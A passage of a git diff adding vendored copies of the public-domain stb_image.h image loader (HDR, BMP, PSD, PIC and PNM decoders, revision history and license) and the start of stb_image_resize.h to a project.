+      // moved conversion to after successful load so that the same
+      // can be done for multiple frames. 
+      if (req_comp && req_comp != 4)
+         u = stbi__convert_format(u, 4, req_comp, g.w, g.h);
+   }
+
+   // free buffers needed for multiple frame loading; 
+   STBI_FREE(g.history);
+   STBI_FREE(g.background); 
+
+   return u;
+}
+
+static int stbi__gif_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   return stbi__gif_info_raw(s,x,y,comp);
+}
+#endif
+
+// *************************************************************************************************
+// Radiance RGBE HDR loader
+// originally by Nicolas Schulz
+#ifndef STBI_NO_HDR
+static int stbi__hdr_test_core(stbi__context *s, const char *signature)
+{
+   int i;
+   for (i=0; signature[i]; ++i)
+      if (stbi__get8(s) != signature[i])
+          return 0;
+   stbi__rewind(s);
+   return 1;
+}
+
+static int stbi__hdr_test(stbi__context* s)
+{
+   int r = stbi__hdr_test_core(s, "#?RADIANCE\n");
+   stbi__rewind(s);
+   if(!r) {
+       r = stbi__hdr_test_core(s, "#?RGBE\n");
+       stbi__rewind(s);
+   }
+   return r;
+}
+
+#define STBI__HDR_BUFLEN  1024
+static char *stbi__hdr_gettoken(stbi__context *z, char *buffer)
+{
+   int len=0;
+   char c = '\0';
+
+   c = (char) stbi__get8(z);
+
+   while (!stbi__at_eof(z) && c != '\n') {
+      buffer[len++] = c;
+      if (len == STBI__HDR_BUFLEN-1) {
+         // flush to end of line
+         while (!stbi__at_eof(z) && stbi__get8(z) != '\n')
+            ;
+         break;
+      }
+      c = (char) stbi__get8(z);
+   }
+
+   buffer[len] = 0;
+   return buffer;
+}
+
+static void stbi__hdr_convert(float *output, stbi_uc *input, int req_comp)
+{
+   if ( input[3] != 0 ) {
+      float f1;
+      // Exponent
+      f1 = (float) ldexp(1.0f, input[3] - (int)(128 + 8));
+      if (req_comp <= 2)
+         output[0] = (input[0] + input[1] + input[2]) * f1 / 3;
+      else {
+         output[0] = input[0] * f1;
+         output[1] = input[1] * f1;
+         output[2] = input[2] * f1;
+      }
+      if (req_comp == 2) output[1] = 1;
+      if (req_comp == 4) output[3] = 1;
+   } else {
+      switch (req_comp) {
+         case 4: output[3] = 1; /* fallthrough */
+         case 3: output[0] = output[1] = output[2] = 0;
+                 break;
+         case 2: output[1] = 1; /* fallthrough */
+         case 1: output[0] = 0;
+                 break;
+      }
+   }
+}
+
+static float *stbi__hdr_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   char buffer[STBI__HDR_BUFLEN];
+   char *token;
+   int valid = 0;
+   int width, height;
+   stbi_uc *scanline;
+   float *hdr_data;
+   int len;
+   unsigned char count, value;
+   int i, j, k, c1,c2, z;
+   const char *headerToken;
+   STBI_NOTUSED(ri);
+
+   // Check identifier
+   headerToken = stbi__hdr_gettoken(s,buffer);
+   if (strcmp(headerToken, "#?RADIANCE") != 0 && strcmp(headerToken, "#?RGBE") != 0)
+      return stbi__errpf("not HDR", "Corrupt HDR image");
+
+   // Parse header
+   for(;;) {
+      token = stbi__hdr_gettoken(s,buffer);
+      if (token[0] == 0) break;
+      if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
+   }
+
+   if (!valid)    return stbi__errpf("unsupported format", "Unsupported HDR format");
+
+   // Parse width and height
+   // can't use sscanf() if we're not using stdio!
+   token = stbi__hdr_gettoken(s,buffer);
+   if (strncmp(token, "-Y ", 3))  return stbi__errpf("unsupported data layout", "Unsupported HDR format");
+   token += 3;
+   height = (int) strtol(token, &token, 10);
+   while (*token == ' ') ++token;
+   if (strncmp(token, "+X ", 3))  return stbi__errpf("unsupported data layout", "Unsupported HDR format");
+   token += 3;
+   width = (int) strtol(token, NULL, 10);
+
+   *x = width;
+   *y = height;
+
+   if (comp) *comp = 3;
+   if (req_comp == 0) req_comp = 3;
+
+   if (!stbi__mad4sizes_valid(width, height, req_comp, sizeof(float), 0))
+      return stbi__errpf("too large", "HDR image is too large");
+
+   // Read data
+   hdr_data = (float *) stbi__malloc_mad4(width, height, req_comp, sizeof(float), 0);
+   if (!hdr_data)
+      return stbi__errpf("outofmem", "Out of memory");
+
+   // Load image data
+   // image data is stored as some number of sca
+   if ( width < 8 || width >= 32768) {
+      // Read flat data
+      for (j=0; j < height; ++j) {
+         for (i=0; i < width; ++i) {
+            stbi_uc rgbe[4];
+           main_decode_loop:
+            stbi__getn(s, rgbe, 4);
+            stbi__hdr_convert(hdr_data + j * width * req_comp + i * req_comp, rgbe, req_comp);
+         }
+      }
+   } else {
+      // Read RLE-encoded data
+      scanline = NULL;
+
+      for (j = 0; j < height; ++j) {
+         c1 = stbi__get8(s);
+         c2 = stbi__get8(s);
+         len = stbi__get8(s);
+         if (c1 != 2 || c2 != 2 || (len & 0x80)) {
+            // not run-length encoded, so we have to actually use THIS data as a decoded
+            // pixel (note this can't be a valid pixel--one of RGB must be >= 128)
+            stbi_uc rgbe[4];
+            rgbe[0] = (stbi_uc) c1;
+            rgbe[1] = (stbi_uc) c2;
+            rgbe[2] = (stbi_uc) len;
+            rgbe[3] = (stbi_uc) stbi__get8(s);
+            stbi__hdr_convert(hdr_data, rgbe, req_comp);
+            i = 1;
+            j = 0;
+            STBI_FREE(scanline);
+            goto main_decode_loop; // yes, this makes no sense
+         }
+         len <<= 8;
+         len |= stbi__get8(s);
+         if (len != width) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("invalid decoded scanline length", "corrupt HDR"); }
+         if (scanline == NULL) {
+            scanline = (stbi_uc *) stbi__malloc_mad2(width, 4, 0);
+            if (!scanline) {
+               STBI_FREE(hdr_data);
+               return stbi__errpf("outofmem", "Out of memory");
+            }
+         }
+
+         for (k = 0; k < 4; ++k) {
+            int nleft;
+            i = 0;
+            while ((nleft = width - i) > 0) {
+               count = stbi__get8(s);
+               if (count > 128) {
+                  // Run
+                  value = stbi__get8(s);
+                  count -= 128;
+                  if (count > nleft) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("corrupt", "bad RLE data in HDR"); }
+                  for (z = 0; z < count; ++z)
+                     scanline[i++ * 4 + k] = value;
+               } else {
+                  // Dump
+                  if (count > nleft) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("corrupt", "bad RLE data in HDR"); }
+                  for (z = 0; z < count; ++z)
+                     scanline[i++ * 4 + k] = stbi__get8(s);
+               }
+            }
+         }
+         for (i=0; i < width; ++i)
+            stbi__hdr_convert(hdr_data+(j*width + i)*req_comp, scanline + i*4, req_comp);
+      }
+      if (scanline)
+         STBI_FREE(scanline);
+   }
+
+   return hdr_data;
+}
+
+static int stbi__hdr_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   char buffer[STBI__HDR_BUFLEN];
+   char *token;
+   int valid = 0;
+   int dummy;
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   if (stbi__hdr_test(s) == 0) {
+       stbi__rewind( s );
+       return 0;
+   }
+
+   for(;;) {
+      token = stbi__hdr_gettoken(s,buffer);
+      if (token[0] == 0) break;
+      if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
+   }
+
+   if (!valid) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token = stbi__hdr_gettoken(s,buffer);
+   if (strncmp(token, "-Y ", 3)) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token += 3;
+   *y = (int) strtol(token, &token, 10);
+   while (*token == ' ') ++token;
+   if (strncmp(token, "+X ", 3)) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token += 3;
+   *x = (int) strtol(token, NULL, 10);
+   *comp = 3;
+   return 1;
+}
+#endif // STBI_NO_HDR
+
+#ifndef STBI_NO_BMP
+static int stbi__bmp_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   void *p;
+   stbi__bmp_data info;
+
+   info.all_a = 255;
+   p = stbi__bmp_parse_header(s, &info);
+   stbi__rewind( s );
+   if (p == NULL)
+      return 0;
+   if (x) *x = s->img_x;
+   if (y) *y = s->img_y;
+   if (comp) *comp = info.ma ? 4 : 3;
+   return 1;
+}
+#endif
+
+#ifndef STBI_NO_PSD
+static int stbi__psd_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int channelCount, dummy, depth;
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+   if (stbi__get32be(s) != 0x38425053) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 1) {
+       stbi__rewind( s );
+       return 0;
+   }
+   stbi__skip(s, 6);
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   *y = stbi__get32be(s);
+   *x = stbi__get32be(s);
+   depth = stbi__get16be(s);
+   if (depth != 8 && depth != 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 3) {
+       stbi__rewind( s );
+       return 0;
+   }
+   *comp = 4;
+   return 1;
+}
+
+static int stbi__psd_is16(stbi__context *s)
+{
+   int channelCount, depth;
+   if (stbi__get32be(s) != 0x38425053) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 1) {
+       stbi__rewind( s );
+       return 0;
+   }
+   stbi__skip(s, 6);
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   (void) stbi__get32be(s);
+   (void) stbi__get32be(s);
+   depth = stbi__get16be(s);
+   if (depth != 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   return 1;
+}
+#endif
+
+#ifndef STBI_NO_PIC
+static int stbi__pic_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int act_comp=0,num_packets=0,chained,dummy;
+   stbi__pic_packet packets[10];
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   if (!stbi__pic_is4(s,"\x53\x80\xF6\x34")) {
+      stbi__rewind(s);
+      return 0;
+   }
+
+   stbi__skip(s, 88);
+
+   *x = stbi__get16be(s);
+   *y = stbi__get16be(s);
+   if (stbi__at_eof(s)) {
+      stbi__rewind( s);
+      return 0;
+   }
+   if ( (*x) != 0 && (1 << 28) / (*x) < (*y)) {
+      stbi__rewind( s );
+      return 0;
+   }
+
+   stbi__skip(s, 8);
+
+   do {
+      stbi__pic_packet *packet;
+
+      if (num_packets==sizeof(packets)/sizeof(packets[0]))
+         return 0;
+
+      packet = &packets[num_packets++];
+      chained = stbi__get8(s);
+      packet->size    = stbi__get8(s);
+      packet->type    = stbi__get8(s);
+      packet->channel = stbi__get8(s);
+      act_comp |= packet->channel;
+
+      if (stbi__at_eof(s)) {
+          stbi__rewind( s );
+          return 0;
+      }
+      if (packet->size != 8) {
+          stbi__rewind( s );
+          return 0;
+      }
+   } while (chained);
+
+   *comp = (act_comp & 0x10 ? 4 : 3);
+
+   return 1;
+}
+#endif
+
+// *************************************************************************************************
+// Portable Gray Map and Portable Pixel Map loader
+// by Ken Miller
+//
+// PGM: http://netpbm.sourceforge.net/doc/pgm.html
+// PPM: http://netpbm.sourceforge.net/doc/ppm.html
+//
+// Known limitations:
+//    Does not support comments in the header section
+//    Does not support ASCII image data (formats P2 and P3)
+//    Does not support 16-bit-per-channel
+
+#ifndef STBI_NO_PNM
+
+static int      stbi__pnm_test(stbi__context *s)
+{
+   char p, t;
+   p = (char) stbi__get8(s);
+   t = (char) stbi__get8(s);
+   if (p != 'P' || (t != '5' && t != '6')) {
+       stbi__rewind( s );
+       return 0;
+   }
+   return 1;
+}
+
+static void *stbi__pnm_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *out;
+   STBI_NOTUSED(ri);
+
+   if (!stbi__pnm_info(s, (int *)&s->img_x, (int *)&s->img_y, (int *)&s->img_n))
+      return 0;
+
+   *x = s->img_x;
+   *y = s->img_y;
+   if (comp) *comp = s->img_n;
+
+   if (!stbi__mad3sizes_valid(s->img_n, s->img_x, s->img_y, 0))
+      return stbi__errpuc("too large", "PNM too large");
+
+   out = (stbi_uc *) stbi__malloc_mad3(s->img_n, s->img_x, s->img_y, 0);
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   stbi__getn(s, out, s->img_n * s->img_x * s->img_y);
+
+   if (req_comp && req_comp != s->img_n) {
+      out = stbi__convert_format(out, s->img_n, req_comp, s->img_x, s->img_y);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+   return out;
+}
+
+static int      stbi__pnm_isspace(char c)
+{
+   return c == ' ' || c == '\t' || c == '\n' || c == '\v' || c == '\f' || c == '\r';
+}
+
+static void     stbi__pnm_skip_whitespace(stbi__context *s, char *c)
+{
+   for (;;) {
+      while (!stbi__at_eof(s) && stbi__pnm_isspace(*c))
+         *c = (char) stbi__get8(s);
+
+      if (stbi__at_eof(s) || *c != '#')
+         break;
+
+      while (!stbi__at_eof(s) && *c != '\n' && *c != '\r' )
+         *c = (char) stbi__get8(s);
+   }
+}
+
+static int      stbi__pnm_isdigit(char c)
+{
+   return c >= '0' && c <= '9';
+}
+
+static int      stbi__pnm_getinteger(stbi__context *s, char *c)
+{
+   int value = 0;
+
+   while (!stbi__at_eof(s) && stbi__pnm_isdigit(*c)) {
+      value = value*10 + (*c - '0');
+      *c = (char) stbi__get8(s);
+   }
+
+   return value;
+}
+
+static int      stbi__pnm_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int maxv, dummy;
+   char c, p, t;
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   stbi__rewind(s);
+
+   // Get identifier
+   p = (char) stbi__get8(s);
+   t = (char) stbi__get8(s);
+   if (p != 'P' || (t != '5' && t != '6')) {
+       stbi__rewind(s);
+       return 0;
+   }
+
+   *comp = (t == '6') ? 3 : 1;  // '5' is 1-component .pgm; '6' is 3-component .ppm
+
+   c = (char) stbi__get8(s);
+   stbi__pnm_skip_whitespace(s, &c);
+
+   *x = stbi__pnm_getinteger(s, &c); // read width
+   stbi__pnm_skip_whitespace(s, &c);
+
+   *y = stbi__pnm_getinteger(s, &c); // read height
+   stbi__pnm_skip_whitespace(s, &c);
+
+   maxv = stbi__pnm_getinteger(s, &c);  // read max value
+
+   if (maxv > 255)
+      return stbi__err("max value > 255", "PPM image not 8-bit");
+   else
+      return 1;
+}
+#endif
+
+static int stbi__info_main(stbi__context *s, int *x, int *y, int *comp)
+{
+   #ifndef STBI_NO_JPEG
+   if (stbi__jpeg_info(s, x, y, comp)) return 1;
+   #endif
+
+   #ifndef STBI_NO_PNG
+   if (stbi__png_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_GIF
+   if (stbi__gif_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_BMP
+   if (stbi__bmp_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PIC
+   if (stbi__pic_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_info(s, x, y, comp))  return 1;
+   #endif
+
+   // test tga last because it's a crappy test!
+   #ifndef STBI_NO_TGA
+   if (stbi__tga_info(s, x, y, comp))
+       return 1;
+   #endif
+   return stbi__err("unknown image type", "Image not of any known type, or corrupt");
+}
+
+static int stbi__is_16_main(stbi__context *s)
+{
+   #ifndef STBI_NO_PNG
+   if (stbi__png_is16(s))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_is16(s))  return 1;
+   #endif
+
+   return 0;
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF int stbi_info(char const *filename, int *x, int *y, int *comp)
+{
+    FILE *f = stbi__fopen(filename, "rb");
+    int result;
+    if (!f) return stbi__err("can't fopen", "Unable to open file");
+    result = stbi_info_from_file(f, x, y, comp);
+    fclose(f);
+    return result;
+}
+
+STBIDEF int stbi_info_from_file(FILE *f, int *x, int *y, int *comp)
+{
+   int r;
+   stbi__context s;
+   long pos = ftell(f);
+   stbi__start_file(&s, f);
+   r = stbi__info_main(&s,x,y,comp);
+   fseek(f,pos,SEEK_SET);
+   return r;
+}
+
+STBIDEF int stbi_is_16_bit(char const *filename)
+{
+    FILE *f = stbi__fopen(filename, "rb");
+    int result;
+    if (!f) return stbi__err("can't fopen", "Unable to open file");
+    result = stbi_is_16_bit_from_file(f);
+    fclose(f);
+    return result;
+}
+
+STBIDEF int stbi_is_16_bit_from_file(FILE *f)
+{
+   int r;
+   stbi__context s;
+   long pos = ftell(f);
+   stbi__start_file(&s, f);
+   r = stbi__is_16_main(&s);
+   fseek(f,pos,SEEK_SET);
+   return r;
+}
+#endif // !STBI_NO_STDIO
+
+STBIDEF int stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__info_main(&s,x,y,comp);
+}
+
+STBIDEF int stbi_info_from_callbacks(stbi_io_callbacks const *c, void *user, int *x, int *y, int *comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) c, user);
+   return stbi__info_main(&s,x,y,comp);
+}
+
+STBIDEF int stbi_is_16_bit_from_memory(stbi_uc const *buffer, int len)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__is_16_main(&s);
+}
+
+STBIDEF int stbi_is_16_bit_from_callbacks(stbi_io_callbacks const *c, void *user)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) c, user);
+   return stbi__is_16_main(&s);
+}
+
+#endif // STB_IMAGE_IMPLEMENTATION
+
+/*
+   revision history:
+      2.19  (2018-02-11) fix warning
+      2.18  (2018-01-30) fix warnings
+      2.17  (2018-01-29) change sbti__shiftsigned to avoid clang -O2 bug
+                         1-bit BMP
+                         *_is_16_bit api
+                         avoid warnings
+      2.16  (2017-07-23) all functions have 16-bit variants;
+                         STBI_NO_STDIO works again;
+                         compilation fixes;
+                         fix rounding in unpremultiply;
+                         optimize vertical flip;
+                         disable raw_len validation;
+                         documentation fixes
+      2.15  (2017-03-18) fix png-1,2,4 bug; now all Imagenet JPGs decode;
+                         warning fixes; disable run-time SSE detection on gcc;
+                         uniform handling of optional "return" values;
+                         thread-safe initialization of zlib tables
+      2.14  (2017-03-03) remove deprecated STBI_JPEG_OLD; fixes for Imagenet JPGs
+      2.13  (2016-11-29) add 16-bit API, only supported for PNG right now
+      2.12  (2016-04-02) fix typo in 2.11 PSD fix that caused crashes
+      2.11  (2016-04-02) allocate large structures on the stack
+                         remove white matting for transparent PSD
+                         fix reported channel count for PNG & BMP
+                         re-enable SSE2 in non-gcc 64-bit
+                         support RGB-formatted JPEG
+                         read 16-bit PNGs (only as 8-bit)
+      2.10  (2016-01-22) avoid warning introduced in 2.09 by STBI_REALLOC_SIZED
+      2.09  (2016-01-16) allow comments in PNM files
+                         16-bit-per-pixel TGA (not bit-per-component)
+                         info() for TGA could break due to .hdr handling
+                         info() for BMP to shares code instead of sloppy parse
+                         can use STBI_REALLOC_SIZED if allocator doesn't support realloc
+                         code cleanup
+      2.08  (2015-09-13) fix to 2.07 cleanup, reading RGB PSD as RGBA
+      2.07  (2015-09-13) fix compiler warnings
+                         partial animated GIF support
+                         limited 16-bpc PSD support
+                         #ifdef unused functions
+                         bug with < 92 byte PIC,PNM,HDR,TGA
+      2.06  (2015-04-19) fix bug where PSD returns wrong '*comp' value
+      2.05  (2015-04-19) fix bug in progressive JPEG handling, fix warning
+      2.04  (2015-04-15) try to re-enable SIMD on MinGW 64-bit
+      2.03  (2015-04-12) extra corruption checking (mmozeiko)
+                         stbi_set_flip_vertically_on_load (nguillemot)
+                         fix NEON support; fix mingw support
+      2.02  (2015-01-19) fix incorrect assert, fix warning
+      2.01  (2015-01-17) fix various warnings; suppress SIMD on gcc 32-bit without -msse2
+      2.00b (2014-12-25) fix STBI_MALLOC in progressive JPEG
+      2.00  (2014-12-25) optimize JPG, including x86 SSE2 & NEON SIMD (ryg)
+                         progressive JPEG (stb)
+                         PGM/PPM support (Ken Miller)
+                         STBI_MALLOC,STBI_REALLOC,STBI_FREE
+                         GIF bugfix -- seemingly never worked
+                         STBI_NO_*, STBI_ONLY_*
+      1.48  (2014-12-14) fix incorrectly-named assert()
+      1.47  (2014-12-14) 1/2/4-bit PNG support, both direct and paletted (Omar Cornut & stb)
+                         optimize PNG (ryg)
+                         fix bug in interlaced PNG with user-specified channel count (stb)
+      1.46  (2014-08-26)
+              fix broken tRNS chunk (colorkey-style transparency) in non-paletted PNG
+      1.45  (2014-08-16)
+              fix MSVC-ARM internal compiler error by wrapping malloc
+      1.44  (2014-08-07)
+              various warning fixes from Ronny Chevalier
+      1.43  (2014-07-15)
+              fix MSVC-only compiler problem in code changed in 1.42
+      1.42  (2014-07-09)
+              don't define _CRT_SECURE_NO_WARNINGS (affects user code)
+              fixes to stbi__cleanup_jpeg path
+              added STBI_ASSERT to avoid requiring assert.h
+      1.41  (2014-06-25)
+              fix search&replace from 1.36 that messed up comments/error messages
+      1.40  (2014-06-22)
+              fix gcc struct-initialization warning
+      1.39  (2014-06-15)
+              fix to TGA optimization when req_comp != number of components in TGA;
+              fix to GIF loading because BMP wasn't rewinding (whoops, no GIFs in my test suite)
+              add support for BMP version 5 (more ignored fields)
+      1.38  (2014-06-06)
+              suppress MSVC warnings on integer casts truncating values
+              fix accidental rename of 'skip' field of I/O
+      1.37  (2014-06-04)
+              remove duplicate typedef
+      1.36  (2014-06-03)
+              convert to header file single-file library
+              if de-iphone isn't set, load iphone images color-swapped instead of returning NULL
+      1.35  (2014-05-27)
+              various warnings
+              fix broken STBI_SIMD path
+              fix bug where stbi_load_from_file no longer left file pointer in correct place
+              fix broken non-easy path for 32-bit BMP (possibly never used)
+              TGA optimization by Arseny Kapoulkine
+      1.34  (unknown)
+              use STBI_NOTUSED in stbi__resample_row_generic(), fix one more leak in tga failure case
+      1.33  (2011-07-14)
+              make stbi_is_hdr work in STBI_NO_HDR (as specified), minor compiler-friendly improvements
+      1.32  (2011-07-13)
+              support for "info" function for all supported filetypes (SpartanJ)
+      1.31  (2011-06-20)
+              a few more leak fixes, bug in PNG handling (SpartanJ)
+      1.30  (2011-06-11)
+              added ability to load files via callbacks to accomidate custom input streams (Ben Wenger)
+              removed deprecated format-specific test/load functions
+              removed support for installable file formats (stbi_loader) -- would have been broken for IO callbacks anyway
+              error cases in bmp and tga give messages and don't leak (Raymond Barbiero, grisha)
+              fix inefficiency in decoding 32-bit BMP (David Woo)
+      1.29  (2010-08-16)
+              various warning fixes from Aurelien Pocheville
+      1.28  (2010-08-01)
+              fix bug in GIF palette transparency (SpartanJ)
+      1.27  (2010-08-01)
+              cast-to-stbi_uc to fix warnings
+      1.26  (2010-07-24)
+              fix bug in file buffering for PNG reported by SpartanJ
+      1.25  (2010-07-17)
+              refix trans_data warning (Won Chun)
+      1.24  (2010-07-12)
+              perf improvements reading from files on platforms with lock-heavy fgetc()
+              minor perf improvements for jpeg
+              deprecated type-specific functions so we'll get feedback if they're needed
+              attempt to fix trans_data warning (Won Chun)
+      1.23    fixed bug in iPhone support
+      1.22  (2010-07-10)
+              removed image *writing* support
+              stbi_info support from Jetro Lauha
+              GIF support from Jean-Marc Lienher
+              iPhone PNG-extensions from James Brown
+              warning-fixes from Nicolas Schulz and Janez Zemva (i.stbi__err. Janez (U+017D)emva)
+      1.21    fix use of 'stbi_uc' in header (reported by jon blow)
+      1.20    added support for Softimage PIC, by Tom Seddon
+      1.19    bug in interlaced PNG corruption check (found by ryg)
+      1.18  (2008-08-02)
+              fix a threading bug (local mutable static)
+      1.17    support interlaced PNG
+      1.16    major bugfix - stbi__convert_format converted one too many pixels
+      1.15    initialize some fields for thread safety
+      1.14    fix threadsafe conversion bug
+              header-file-only version (#define STBI_HEADER_FILE_ONLY before including)
+      1.13    threadsafe
+      1.12    const qualifiers in the API
+      1.11    Support installable IDCT, colorspace conversion routines
+      1.10    Fixes for 64-bit (don't use "unsigned long")
+              optimized upsampling by Fabian "ryg" Giesen
+      1.09    Fix format-conversion for PSD code (bad global variables!)
+      1.08    Thatcher Ulrich's PSD code integrated by Nicolas Schulz
+      1.07    attempt to fix C++ warning/errors again
+      1.06    attempt to fix C++ warning/errors again
+      1.05    fix TGA loading to return correct *comp and use good luminance calc
+      1.04    default float alpha is 1, not 255; use 'void *' for stbi_image_free
+      1.03    bugfixes to STBI_NO_STDIO, STBI_NO_HDR
+      1.02    support for (subset of) HDR files, float interface for preferred access to them
+      1.01    fix bug: possible bug in handling right-side up bmps... not sure
+              fix bug: the stbi__bmp_load() and stbi__tga_load() functions didn't work at all
+      1.00    interface to zlib that skips zlib header
+      0.99    correct handling of alpha in palette
+      0.98    TGA loader by lonesock; dynamically add loaders (untested)
+      0.97    jpeg errors on too large a file; also catch another malloc failure
+      0.96    fix detection of invalid v value - particleman@mollyrocket forum
+      0.95    during header scan, seek to markers in case of padding
+      0.94    STBI_NO_STDIO to disable stdio usage; rename all #defines the same
+      0.93    handle jpegtran output; verbose errors
+      0.92    read 4,8,16,24,32-bit BMP files of several formats
+      0.91    output 24-bit Windows 3.0 BMP files
+      0.90    fix a few more warnings; bump version number to approach 1.0
+      0.61    bugfixes due to Marc LeBlanc, Christopher Lloyd
+      0.60    fix compiling as c++
+      0.59    fix warnings: merge Dave Moore's -Wall fixes
+      0.58    fix bug: zlib uncompressed mode len/nlen was wrong endian
+      0.57    fix bug: jpg last huffman symbol before marker was >9 bits but less than 16 available
+      0.56    fix bug: zlib uncompressed mode len vs. nlen
+      0.55    fix bug: restart_interval not initialized to 0
+      0.54    allow NULL for 'int *comp'
+      0.53    fix bug in png 3->4; speedup png decoding
+      0.52    png handles req_comp=3,4 directly; minor cleanup; jpeg comments
+      0.51    obey req_comp requests, 1-component jpegs return as 1-component,
+              on 'test' only check type, not whether we support this variant
+      0.50  (2006-11-19)
+              first released version
+*/
+
+
+/*
+------------------------------------------------------------------------------
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
+software, either in source code form or as a compiled binary, for any purpose,
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this
+software dedicate any and all copyright interest in the software to the public
+domain. We make this dedication for the benefit of the public at large and to
+the detriment of our heirs and successors. We intend this dedication to be an
+overt act of relinquishment in perpetuity of all present and future rights to
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+------------------------------------------------------------------------------
+*/
diff --git a/art/bwu/stb_image_resize.h b/art/bwu/stb_image_resize.h
new file mode 100644
index 0000000..031ca99
--- /dev/null
+++ b/art/bwu/stb_image_resize.h
@@ -0,0 +1,2627 @@
+/* stb_image_resize - v0.95 - public domain image resizing
+   by Jorge L Rodriguez (@VinoBS) - 2014
+   http://github.com/nothings/stb
+
+   Written with emphasis on usability, portability, and efficiency. (No
+   SIMD or threads, so it be easily outperformed by libs that use those.)
+   Only scaling and translation is supported, no rotations or shears.
+   Easy API downsamples w/Mitchell filter, upsamples w/cubic interpolation.
+
+   COMPILING & LINKING
+      In one C/C++ file that #includes this file, do this:
+         #define STB_IMAGE_RESIZE_IMPLEMENTATION
+      before the #include. That will create the implementation in that file.
+
+   QUICKSTART
+      stbir_resize_uint8(      input_pixels , in_w , in_h , 0,
+                               output_pixels, out_w, out_h, 0, num_channels)
+      stbir_resize_float(...)
+      stbir_resize_uint8_srgb( input_pixels , in_w , in_h , 0,
+                               output_pixels, out_w, out_h, 0,
+                               num_channels , alpha_chan  , 0)
+      stbir_resize_uint8_srgb_edgemode(
+                               input_pixels , in_w , in_h , 0, 
